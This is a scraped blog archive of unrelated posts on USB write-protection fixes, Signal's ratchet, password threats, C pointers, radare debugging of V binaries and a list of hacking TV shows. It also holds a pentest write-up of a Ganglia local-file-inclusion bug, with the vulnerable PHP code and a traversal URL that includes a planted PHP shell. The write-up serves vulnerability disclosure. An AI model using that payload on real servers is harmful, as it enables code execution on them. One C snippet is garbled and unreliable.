Sunday, April 26, 2020

How To Remove Write Protection From USB Drives And Memory Cards

If you've got a USB drive or SD card that can't be formatted and to which you can't copy files, then take a look at our guide to removing write protection.

Sometimes you'll find that it's impossible to format, delete or copy new files to an SD card or USB flash drive. Windows will tell you that it is write protected, even though there is no 'lock' switch or – if there is – you've made sure the switch is set correctly to allow files to be written to the drive.
But just in case this switch is news to you, it is well worth checking that your device has the switch set to 'unlocked'. When set to 'locked' you won't be able to copy any new files on to the memory card or USB stick, and it also stops you from accidentally formatting it.
iemhacker-remove-write-protection-from-usb
You'll still be able to view files which are already stored on the drive, but you can't delete them (they sometimes seem to delete OK, but the next time you check, there they are again!).
ut if this isn't the problem, you might still be able to fix things and continue to use your USB flash drive or SD card – we'll explain how.
Unfortunately, in some cases the device may be corrupt or physically broken and no tricks or software will make it work again. The only solution in this case is to buy a new drive. And if you're just trying to get back lost data, see our guide on How to recover deleted filed for free.
iemhacker
In any version of Windows from XP onwards, run Regedit.exe.
If you're not sure how to find it, searching 'regedit' in the Start menu will usually show the program at the top of the list.
It's a bit like File Explorer, so use the pane on the left to navigate to the following key:
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies
Note: if you can't find StorageDevicePolicies, see the next step.
Double-click on the WriteProtect value in the right-hand pane. You can now change the Value data from 1 to 0. Then click OK to save the change. Close Regedit and restart your computer. Connect your USB drive again and, with a bit of luck, you should find it is no longer write protected.
You can now continue to use the drive, but it's worth copying off any files you want to keep and then formatting it by right-clicking on it in the list of drives in File Explorer and choosing Format.

StorageDevicePolicies

If you can't find StorageDevicePolicies, you can create it by right-clicking in the white space in the 'Control' folder and choosing New -> Key and entering the name StorageDevicePolicies.
Now double-click on the new key (it will show as a folder) and right-click once again in the white space and choose New -> DWORD. Name this WriteProtect and set its value to 0. Click OK, exit Regedit and reboot your computer.
If this method doesn't work, go to the next step.

Diskpart

iemhacker
With your USB drive or memory card attached to your computer, launch a command prompt. You can do this by searching for cmd.exe or 'Command Prompt' in the Start menu.
Note: you may need to run cmd.exe with administrator privileges if you see an "access is denied" message. To do this, right-click on Command Prompt in the Start menu and choose 'Run as administrator' from the menu that appears.
If you have Windows 10, simply right-click on the Start button (bottom left of the screen) and choose Command Prompt (admin).
Now, at the prompt, type the following and press Enter after each command:
diskpart
list disk
select disk x (where x is the number of your non-working drive – use the capacity to work out which one it is)
attributes disk clear readonly
clean
create partition primary
format fs=fat32 (you can swap fat32 for ntfs if you only need to use the drive with Windows computers)
exit
That's it. Your drive should now work as normal in File Explorer. If it doesn't, it's bad news and there's nothing more to be done. Your stick or memory card is scrap and fit only for the bin. But the good news is that storage is cheap.

Continue reading


Why Receipt Notifications Increase Security In Signal

This blog post is aimed to express and explain my surprise about Signal being more secure than I thought (due to receipt acknowledgments). I hope you find it interesting, too.

Signal, and especially its state update protocol, the Double Ratchet algorithm, are widely known for significantly increasing security for instant messaging. While most users first see the end-to-end security induced by employing Signal in messaging apps, the properties achieved due to ratcheting go far beyond protecting communication against (active) attackers on the wire. Due to updating the local device secrets via the Double Ratchet algorithm, the protocol ensures that attackers, who temporarily obtain a device's local storage (on which Signal runs), only compromise confidentiality of parts of the communications with this device. Thus, the leakage of local secrets from a device only affects security of a short frame of communication. The exact duration of compromise depends on the messaging pattern among the communicating parties (i.e., who sends and receives when), as the state update is conducted during the sending and receiving of payload messages.


The Double Ratchet

The Double Ratchet algorithm consists of two different update mechanisms: the symmetric ratchet and the asymmetric ratchet. The former updates symmetric key material by hashing and then overwriting it with the hash output (i.e.,  k:=H(k)). Thus, an attacker, obtaining key material can only predict future versions of the state but, due to the one-wayness of the hash function, cannot recover past states. The asymmetric ratchet consists of Diffie-Hellman key exchanges (DHKE). If, during the communication, party A receives a new DH share gb as part of a message from the communication partner B, then A samples a new DH exponent a and responds with the respective DH share ga in the next sent message. On receipt of this DH share, B will again sample a new DH exponent b' and attach the DH share gb' to the next message to A. With every new DH share, a new DHKE gab is computed among A and B and mixed into the key material (i.e., k:=H(k,gab)). For clarity, I leave out a lot of details and accuracy. As new DH shares ga and gb are generated from randomly sampled DH exponents a and b, and the computation of gab is hard if neither a nor b are known, the key material recovers from an exposure of the local secrets to an attacker after a new value gab was freshly established and mixed into it. Summing up this mechanism, if an attacker obtains the local state of a Signal client, then this attacker cannot recover any previously received message (if the message itself was not contained in the local state), nor can it read messages that are sent after a new gab was established and mixed into the state. The latter case happens with every full round-trip among A and B (i.e., A receives from B, A sends to B, and A receives again from B).
Conceptual depiction of Double Ratchet in Signal two years ago (acknowledgments were only protected between client and server). The asymmetric ratchet fully updates the local secrets after one round-trip of payload messages.

Research on Ratcheting

During the last two years, the Signal protocol inspired the academic research community: First, a formal security proof of Signal was conducted [1] and then ratcheting was formalized as a generic primitive (independent of Signal) [2,3,4]. This formalization includes security definitions that are derived via 1. defining an attacker, 2. requiring security unless it is obvious that security cannot be reached. Protocols, meeting this optimal notion of security, were less performant than the Double Ratchet algorithm [3,4]. However, it became evident that the Double Ratchet algorithm is not as secure as it could be (e.g., recovery from exposure could be achieved quicker than after a full round-trip; see, e.g., Appendix G of our paper [3]). Afterwards, protocols (for slightly weakened security notions) were proposed that are similarly performant as Signal but also a bit more secure [5,6,7].

Protecting Acknowledgments ...

In our analysis of instant messaging group chats [8] two years ago (blog posts: [9,10]), we found out that none of the group chat protocols (Signal, WhatsApp, Threema) actually achieves real recovery from an exposure (thus the asymmetric ratchet is not really effective in groups; a good motivation for the MLS project) and that receipt acknowledgments were not integrity protected in Signal nor WhatsApp. The latter issue allowed an attacker to drop payload messages in transmission and forge receipt acknowledgments to the sender such that the sender falsely thinks the message was received. Signal quickly reacted on our report by treating acknowledgments as normal payload messages: they are now authenticated(-encrypted) using the Double Ratchet algorithm.

... Supports Asymmetric Ratchet

Two years after our analysis, I recently looked into the Signal code again. For a training on ratcheting I wanted to create an exercise for which the lines in the code should be found that execute the symmetric and the asymmetric ratchet respectively. Somehow I observed that the pure symmetric ratchet (only updates via hash functions) was nearly never executed (especially not when I expected it) when lively debugging the app but almost always new DH shares were sent or received. I realized that, due to encrypting the receipt acknowledgments now, the app always conducts full round-trips with every payload message. In order to observe the symmetric ratchet, I needed to temporarily turn on the flight mode on my phone such that acknowledgments are not immediately returned.
Conceptual depiction of Double Ratchet in Signal now (acknowledgments encrypted). The asymmetric ratchet fully updates the local secrets after an acknowledgment for a message is received.

Consequently, Signal conducts a full DHKE on every sent payload message (in case the receiving device is not offline) and mixes the result into the state. However, a new DH exponent is always already sampled on the previous receipt (see sketch of protocol above). Thus, the exponent for computing a DHKE maybe remained in the local device state for a while. In order to fully update the state's key material, two round-trips must be initiated by sending two payload messages and receiving the resulting two acknowledgments. Please note that not only the mandatory receipt acknowledgments are encrypted but also notifications on typing and reading a message.

If you didn't understand exactly what that means, here a tl;dr: If an attacker obtains your local device state, then with Signal all previous messages stay secure and (if the attacker does not immediately use these secrets to actively manipulate future conversations) all future messages are secure after you wrote two messages (and received receipt acknowledgments) in all of your conversations. Even though this is very (in practice certainly sufficiently) secure, recent protocols provide stronger security (as mentioned above) and it remains an interesting research goal to increase their performance.

[1] https://eprint.iacr.org/2016/1013.pdf
[2] https://eprint.iacr.org/2016/1028.pdf
[3] https://eprint.iacr.org/2018/296.pdf
[4] https://eprint.iacr.org/2018/553.pdf
[5] https://eprint.iacr.org/2018/889.pdf
[6] https://eprint.iacr.org/2018/954.pdf
[7] https://eprint.iacr.org/2018/1037.pdf
[8] https://eprint.iacr.org/2017/713.pdf
[9] https://web-in-security.blogspot.com/2017/07/insecurities-of-whatsapps-signals-and.html
[10] https://web-in-security.blogspot.com/2018/01/group-instant-messaging-why-baming.html
Related links
  1. Hacking Etico 101 Pdf
  2. Wifi Hacking
  3. Cosas De Hackers
  4. Hacking Youtube
  5. Hacking Net

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 1


TL;DR: different passwords have different protection requirements, and different attackers using various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).

Are you sick of password advices like "change your password regularly" or "if your password is password change it to pa$$w0rd"? This post is for you!

The news sites are full of password advises nowadays due to recent breaches. When I read/watch these advise (especially on CNN), I am usually pissed off for a lot of reasons. Some advises are terrible (a good collection is here), some are good but without solutions, and others are better, but they don't explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!

Password history

Passwords have been used since ancient times.


Because it is simple. When I started using the Internet, I believe I had three passwords. Windows login, webmail, and IRC. Now I have ~250 accounts/passwords to different things, like to my smartphone, to my cable company (this password can be used to change the channels on the TV), to my online secure cloud storage, to full disk encryption to start my computer, to my nude pictures, to my WiFi router, to my cloud server hosting provider, etc etc etc. My money is protected with passwords, my communication is protected with passwords/encryption, my work is protected with passwords. It is pretty damn important. But yet people tend to choose lame passwords. Pretty lame ones. Because they don't think it can be significant. But what is not essential today will be relevant tomorrow. The service you used to download music (iTunes) with the lame password will one day protect all your Apple devices, where attackers can download your backup files, erase all your devices, etc. The seven-character and one capital rule is not enough anymore. This advice is like PDF is safe to open, Java is secure. Old, outdated, untrue.

Now, after this lengthy prologue, we will deep dive into the analysis of the problem, by checking what we want to protect, against whom (who is the attacker), and only after that, we can analyze the solutions. Travel with me, I promise it will be fun! ;)

What to protect?

There are different services online, and various services need different ways to protect. You don't use the same lock on your Trabant as you do on your BMW.

Internet banking, online money

For me, this is the most vital service to protect. Luckily, most of the internet banking services use two-factor authentication (2FA), but unfortunately, not all of them offer transaction authorization/verification with complete transactions. 2FA is not effective against malware, it just complicates the attack. Transaction authorization/verification is better, but not perfect (see Zitmo). If the access is not protected with 2FA, better choose the best password you have (long, real random, sophisticated, but we will get to this later). If it is protected with 2FA, it is still no reason not to use the best password ;) This is what I call the "very high-level password" class.


Credit card data

This system is pretty fucked up bad. Something has to be secret (your credit card number), but in the meantime that is the only thing to identify your credit card. It is like your username is your password. Pretty bad idea, huh? The problem is even worse with a lot of different transaction types, especially when the hotel asks you to fax both sides of your CC to them. Unfortunately, you can't change the password on your credit card, as there is no such thing, but Verified by VISA or 3-D Secure with 2FA might increase the chances your credit card won't get hacked. And on a side note, I have removed the CVV numbers from my credit/debit cards. I only read it once from the card when I received it, I don't need it anymore to be printed there.
And sometimes, you are your own worst enemy. Don't do stupid things like this:


Work related passwords (e.g. Windows domain)

This is very important, but because the attack methods are a bit different, I created this as a different category. Details later.

Email, social sites (Gmail/Facebook/Twitter), cloud storage, online shopping

This is what I call the "high level password" class.
Still, pretty important passwords. Some people don't understand "why would attackers put any energy to get his Facebook account?" It is simple. For money. They can use your account to spread spam all over your Facebook wall. They can write messages to all of your connections and tell them you are in trouble and send money via Western Union or Bitcoin.


They can use your account in Facebook votes. Your e-mail, cloud storage is again very important. 20 years ago you also had letters you didn't want to print and put in front of the nearest store, neither want you to do that with your private photo album. On a side note, it is best to use a cloud storage where even the cloud provider admin can't access your data. But in this case, with no password recovery option, better think about "alternative" password recovery mechanisms.

Other important stuff with personal data (e.g. your name, home address)

The "medium level password" class. This is a personal preference to have this class or not, but in the long run, I believe it is not a waste of energy to protect these accounts. These sites include your favorite pizza delivery service, your local PC store, etc.

Not important stuff

This is the category other. I usually use one-time disposable e-mail to these services. Used for the registration, get what I want, drop the email account. Because I don't want to spread my e-mail address all over the internet, whenever one of these sites get hacked. But still, I prefer to use different, random passwords on these sites, although this is the "low level password" class.

Attackers and attack methods

After categorizing the different passwords to be protected, let's look at the different attackers and attack methods. They can/will/or actively doing it now:

Attacking the clear text password 

This is the most effective way of getting the password. Bad news is that if there is no other factor of protection, the victim is definitely not on the winning side. The different attack methods are:

  • phishing sites/applications,


  • social engineering,
  • malware running on the computer (or in the browser), 
  • shoulder surfing (check out for smartphones, hidden cameras), 
  • sniffing clear-text passwords when the website is not protected with SSL,
  • SSL MiTM,
  • rogue website administrator/hacker logging clear text passwords,
  • password reuse - if the attacker can get your password in any way, and you reuse it somewhere else, that is a problem,
  • you told your password to someone and he/she will misuse it later,
  • hardware keyloggers,
  • etc.

The key thing here is that no matter how long your passwords are, no matter how complex it is, no matter how often do you change it (except when you do this every minute ... ), if it is stolen, you are screwed. 2FA might save you, or might not.

Attacking the encrypted password 

This is the usual "hack the webserver (via SQL injection), dump the passwords (with SQLMap), post hashes on pastebin, everybody starts the GPU farm to crack the hashes" scenario. This is basically the only scenario where the password policies makes sense. In this case the different level of passwords need different protection levels. In some cases, this attack turns out to be the same as the previous attack, when the passwords are not hashed, or are just encoded.

The current hash cracking speeds for hashes without any iterations (this is unfortunately very common) renders passwords like Q@tCB3nx (8 character, upper-lowercase, digit, special characters) useless, as those can be cracked in hours. Don't believe me? Let's do the math.

Let's say your password is truly random, and randomly choosen from the 26 upper, 26 lower, 10 digit, 33 special characters. (Once I tried special passwords with high ANSI characters inside. It is a terrible idea. Believe me.). There are 6 634 204 312 890 620 different, 8 character passwords from these characters. Assuming a 2 years-old password cracking rig, and MD5 hash cracking with 180 G/s speed, it takes a worst case 10 hours (average 5) to crack the password, including upgrading your bash to the latest, but still vulnerable bash version. Had the password been 10 characters long, it would take 10 years to crack with today hardware. But if the password is not truly random, it can be cracked a lot sooner.

A lot of common hashing algorithms don't use protections against offline brute-force attacks. This includes LM (old Windows hashes), NTLM (modern Windows hashes), MD-5, SHA1-2-512. These hashing algorithms were not developed for password hashing. They don't have salting, iterations, etc. out of the box. In the case of LM, the problem is even worse, as it converts the lowercase characters to uppercase ones, thus radically decreasing the key space. Out of the box, these hashes are made for fast calculation, thus support fast brute-force.


Another attack is when the protected thing is not an online service, but rather an encrypted file or crypto-currency wallet.

Attacking the authentication system online

This is what happened in the recent iCloud hack (besides phishing). Attackers were attacking the authentication system, by either brute-forcing the password, or bypassing the password security by answering the security question. Good passwords can not be brute-forced, as it takes ages. Good security answers have nothing to do with the question in first place. A good security answer is as hard to guess as the password itself. If password recovery requires manual phone calls, I know, it is a bit awkward to say that your first dog name was Xjg.2m`4cJw:V2= , but on the other hand, no one will guess that!


Attacking single sign on

This type of attack is a bit different, as I was not able to put the "pass the hash" attacks anywhere. Pass the hash attack is usually found in Windows domain environments, but others might be affected as well. The key thing is single sign on. If you can login to one system (e.g. your workstation), and access many different network resources (file share, printer, web proxy, e-mail, etc.) without providing any password, then something (a secret) has to be in the memory which can be used to to authenticate to the services. If an attacker can access this secret, he will be able to access all these services. The key thing is (again) it does not matter, how complex your passwords are, how long it is, how often do you change, as someone can easily misuse that secret.

 

Attacking 2FA

As already stated, 2 factor authentication raises the efforts from an attacker point of view, but does not provide 100% protection. 
  • one time tokens (SecurID, Yubikey) can be relayed in a man-in-the-middle attack
  • smartcard authentication can be relayed with the help of a malware to the attacker machine - or simply circumvented in the browser malware, 
  • text based (SMS) messages can be stolen by malware on the smartphone or rerouted via SS7, 
  • bio-metric protection is constantly bypassed,
  • SSH keys are constantly stolen,
  • but U2F keys are pretty good actually, even though BGP/DNS hijack or similar MiTM can still circumvent that protection,
  • etc. 


Others

Beware that there are tons of other attack methods to access your online account (like XSS/CSRF), but all of these have to be handled on the webserver side. The best you can do is to choose a website where the Bug Bounty program is running 24/7. Otherwise, the website may be full of low hanging, easy-to-hack bugs.

Now that we have covered what we want to protect against what, in the next blog post, you will see how to do that. Stay tuned. I will also explain the title of this blog post.Continue reading
  1. Portatil Para Hacking
  2. El Hacker
  3. Hacking With Swift
  4. Hacking For Dummies
  5. Rom Hacking
  6. Hacking Mac
  7. Hacking Pages
  8. Chema Alonso Wikipedia
  9. Hacking Wallpaper

Saturday, April 25, 2020

Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Related word


  1. Amiibo Hacking
  2. Tutorial Hacking
  3. Tipos De Hacker

Top 5 Best TV Series Based On Hacking & Technology 2018

Best TV Series Based On Hacking & Technology 2018

Top 5 Best TV Series Based On Hacking & Technology 2018

Top 5 Best TV Series Based On Hacking And Technology 2018

Well, if you are a tech fanatic then you will love watching TV shows which are based on hacking and technology. If you are a tech geek, then you will know that hacking stuff in movies/serials always generates glamor and mystery and adds that special oomph factor to the movie or Tv SHOW.
However, there are not much movies/ or TV serials made on hacking and technology. Technology is rapidly becoming the key point in human lives. The previous year we have seen how hackers had made their marks on giant companies. So, in this article, we are going to discuss top TV shows which have to hack as the central theme. So, have a look at the list.

#1 Mr. Robot

Mr. Robot: Best TV Series Based On Hacking & Technology 2018
Mr. Robot: Best TV Series Based On Hacking & Technology 2018
Well, the reason why I listed Mr. Robot on the top is because this show has millions of followers and this is the first show that portrays an elite hacker. The elite hacker group uses computers, smartphones and many other technologies to penetrate secure network to take down evil corporation while being anonymous. The show displays the life of a young programmer named Elliot who works as a cyber-security engineer and a vigilante hacker by night.

#2 Silicon Valley

Silicon Valley
Silicon Valley
This TV series displays the tech and hacking with a bit of comic touch. The series shows the competition between techies in the high-tech gold rush of modern Silicon Valley. What's more interesting is the people who are more qualified are least successful whereas underdogs are making it big. This show is running successfully for three years now.

#3 The IT Crowd

The IT Crowd
The IT Crowd
The IT Crowd is very popular series and is running successfully for eight years from 2006 to 2013. It is not like Mr.Robot it has its moments of hacks. The series shows the comedic adventures of a rag-tag group of technical support workers at a large corporation.

#4 Person Of Interest

Person Of Interest
Person Of Interest
It is one of the best TV series made till now. You will get to see the humor, twists, and lots of other things. In this show and intelligent programmer built and AI (Artificial intelligence) that helps to stop the crimes in the city. The show will definitely give you chills.

#5 Chuck

Chuck: Best TV Series Based On Hacking & Technology 2018
Chuck: Best TV Series Based On Hacking & Technology 2018
The TV series was somehow popular and ran from 2007 to 2013. The show shows the character of a young hacker and nerd who accidentally downloads US Govt, secrets into his brain and there is where the story starts CIA and NSA agents protect him and at the same time exploit him.

Related articles

Friday, April 24, 2020

Pointers Part 1: The Basics



So you're eager to learn about pointers but unfortunately you got stuck because they seemed to you terrible in nature? That's not true I know, but many of the people get confused when they arrive at the topic of pointers. Well pointers are the most important tools in C programming and are the one that can make you fly (unless you don't know how to ride over them). In this article we're going to learn basics of pointers.
Pointers are the varaibles that store addresses of other variables. Easy ain't it?
So lets start with the decleration of a pointer, pointer is decreleared as:
data_type *var_name;
e,g
int *pt;
well the astrisk(*) before the variable name is the thing that makes variable a pointer. So far so good now what?
Now lets say we want to store address of a variable in our pointer variable that seems pretty complex..!
Let's do it:
int number = 100;
int *pt = #
Is it really complex..?
what we are doing here is that we are first declaring and initializing a integer variable (number) with value of 100 and then we declare and initialize a pointer variable (pt) with the address of number variable. Now pt (pointer variable) contains the address of number (integer varaible). So what? Now we can use this pointer variable to change the value of number variable. Is this some kind of Magic? Maybe. Lets' do it:
*pt = 200;
what we have done here is that we De-referencing the pt variable with the asterisk (*) and then assigned it the value of 200 now the number variable contains 200. Isn't it a magic? De-referencing is used for accessing the value of the variable towards which our pointer is pointing simple. So lets write a full program of what we have learned so far.
/*Pointer Basics: Creating and Using Pointers*/
#include<stdio.h>
int main(void){
  int number = 100;
  int *pt = &number;
  printf("Value of 'number' is: %d", number);
  printf("Address of 'number' is: %p", pt);
  *pt = 200;
  printf("New value of 'number' is: %d", number);
  return 0;
}
What this whole program did was it created a integer variable and a pointer to integer variable and then printed out the value and address of the 'number' variable and after that we De-referenced the pointer variable so that we can access the value to which our pointer variable is pointing and changed the old 100 value with new 200 value and at last we printed that out. Easy isn't it?
But do you know that you can get the address of a variable even by using ampersand (&) operator? Lemme show you how. I'll declare and initialize a variable 'var' and then print it to screen using ampersand (&) operator:
int var = 10;
printf("Address of 'var' is %p\n", &var);
the last statement here will print out the address of 'var' not value so that means it is equal to this statement:
int *pt = &var;
printf("Address of 'var' is %p\n", pt);
here we first assigned the address of 'var' to pointer variable 'pt' and then printed out the address of 'var' using the pointer variable (pt).
So lets write another program that will wrap up this part of 'Pointer Basics':
/*Pointer Basics Part 1: Program 2*/
#include<stdio.h>
int main(void){
   int var = 10;
   int *pt = &var;
   printf("The Value of 'var' is: %d\n", var);
   printf("De-referencing: *pt = %d\n", *pt);
   printf("Ampersand: The Address of 'var' is %p\n",  &var);
   printf("pt = %p\n", pt);
   return 0;
}
So that's the end of first part watch out for the next part in which we'll tighten our grip on pointers and get ready for some Advanced '*po(inter)-fo'.

Read more


Wednesday, April 22, 2020

Vlang Binary Debugging

Why vlang? V is a featured, productive, safe and confortable language highly compatible with c, that generates neat binaries with c-speed, the decompilation also seems quite clear as c code.
https://vlang.io/

After open the binary with radare in debug mode "-d" we proceed to do the binary recursive analysis with "aaaa" the more a's the more deep analys.



The function names are modified when the binary is crafted, if we have a function named hello in a module named main we will have the symbol main__hello, but we can locate them quicly thanks to radare's grep done with "~" token in this case applied to the "afl" command which lists all the symbols.


Being in debug mode we can use "d*" commands, for example "db" for breakpointing the function and then "dc" to start or continue execution.


Let's dissasemble the function with "pD" command, it also displays the function variables and arguments as well, note also the xref "call xref from main"


Let's take a look to the function arguments, radare detect's this three 64bits registers used on the function.


Actually the function parameter is rsi that contains a testing html to test the href extraction algorithm.


The string structure is quite simple and it's plenty of implemented methods.




With F8 we can step over the code as we were in ollydbg on linux.


Note the rip marker sliding into the code.


We can recognize the aray creations, and the s.index_after() function used to find substrings since a specific position.


If we take a look de dissasembly we sill see quite a few calls to tos3() functions.
Those functions are involved in string initialization, and implements safety checks.

  • tos(string, len)
  • tos2(byteptr)
  • tos3(charptr)

In this case I have a crash in my V code and I want to know what is crashing, just continue the execution with "dc" and see what poits the rip register.



In visual mode "V" we can see previous instructions to figure out the arguments and state.


We've located the crash on the substring operation which is something like "s2 := s1[a..b]" probably one of the arguments of the substring is out of bounds but luckily the V language has safety checks and is a controlled termination:



Switching the basic block view "space" we can see the execution flow, in this case we know the loops and branches because we have the code but this view also we can see the tos3 parameter "href=" which is useful to locate the position on the code.



When it reach the substr, we can see the parameters with "tab" command.



Looking the implementation the radare parameter calculation is quite exact.


Let's check the param values:


so the indexes are from 0x0e to 0x24 which are inside the buffer, lets continue to next iteration,
if we set a breakpoint and check every iteration, on latest iteration before the crash we have the values 0x2c to 0x70 with overflows the buffer and produces a controlled termination of the v compiled process.





More info